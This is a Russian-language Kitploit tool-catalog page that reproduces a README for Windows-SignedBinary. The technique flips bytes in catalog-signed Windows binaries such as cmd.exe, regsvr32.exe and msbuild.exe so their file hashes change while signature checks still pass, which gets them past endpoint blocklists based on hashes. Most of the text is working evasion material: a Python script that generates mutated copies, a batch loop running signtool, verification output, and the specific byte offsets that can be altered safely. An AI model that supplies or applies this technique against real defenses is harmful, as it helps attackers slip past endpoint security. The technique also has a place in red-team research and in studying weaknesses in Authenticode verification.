Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Windows-SignedBinary — Видоизменяет подписанные бинарные файлы Windows для сохранения действительных подписей каталога при изменении хешей файлов, обходя блокировки конечных точек на основе хешей и раскрывая пробелы в верификации Authenticode. | Kitploit
Инструменты/GitHubGitHub/mr-un1k0d3r/windows-signedbinary
Анализ хэшейОбход IDS/IPSОбратная инженерияТестирование на ПроникновениеАнализ Бинарных ФайловRed TeamingСостязательная Атака
GitHubmr-un1k0d3r/windows-signedbinary

Windows-SignedBinary

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Видоизменяет подписанные бинарные файлы Windows для сохранения действительных подписей каталога при изменении хешей файлов, обходя блокировки конечных точек на основе хешей и раскрывая пробелы в верификации Authenticode.

Репозиторий
2596687 лет назадПроверено Kitploit

Генерация подписанного Windows-бинарника с другим хешем

Идея заключалась в обходе endpoint-решений, которые блокируют известные «вредоносные» подписанные приложения, такие как «regsvr32.exe». Я хотел найти способ получить действительный подписанный файл с другим хешем.

Анализ

Используя signtool verify /v /a cmd.exe

root@kitploit:~
C:\signcheck>signtool verify /a /v cmd.exe

Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3

Signing Certificate Chain:
    Issued to: Microsoft Root Certificate Authority
    Issued by: Microsoft Root Certificate Authority
    Expires:   Sun May 09 19:28:13 2021
    SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072

Я думал, что «Hash of file» — это SHA1 файла cmd.exe, судя по выводу (7EB22CBAA74B208DF433C70C06A99280036A52F3)

Дальнейшая проверка показала, что SHA1 файла cmd.exe был:

root@kitploit:~
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

Интересно: один и тот же файл, два разных хеша.

Генерация тестовых файлов

На этом этапе я заподозрил, что подпись может не охватывать все секции файла.

Я написал простой скрипт на Python для генерации тестовых файлов.

root@kitploit:~
import sys

orig = list(open(sys.argv[1], "rb").read())

i = 0
while i < len(orig):
	current = list(orig)
	current[i] = chr(ord(current[i]) ^ 0xde)
	path = "%d.exe" % i
	
	output = "".join(str(e) for e in current)
	open(path, "wb").write(output)
	i += 1
	
print "done"

Затем была выполнена команда python generate.py cmd.exe, которая создала более 300 ГБ новых файлов.

Финальный шаг

Теперь нам нужно проверить каждый созданный файл, чтобы увидеть, проходят ли они проверку подписи.

Простой пакетный файл может сделать это:

root@kitploit:~
FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a %%A.exe
)

Бинарный файл 330.exe прошёл проверку подписи. В данном случае файл отличается, поскольку был изменён байт со смещением 330.

root@kitploit:~
C:\signcheck>signtool verify /a /v 330.exe

Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
root@kitploit:~
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe

$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

cmd.exe

Следующие байты можно изменять, не нарушая подпись: 330, 331, 408 - 412

regsvr32.exe

Следующие байты можно изменять, не нарушая подпись: 320 - 323, 400 - 407

msbuild.exe (x86)

Следующие байты можно изменять, не нарушая подпись: 216 - 219

Скачать инструмент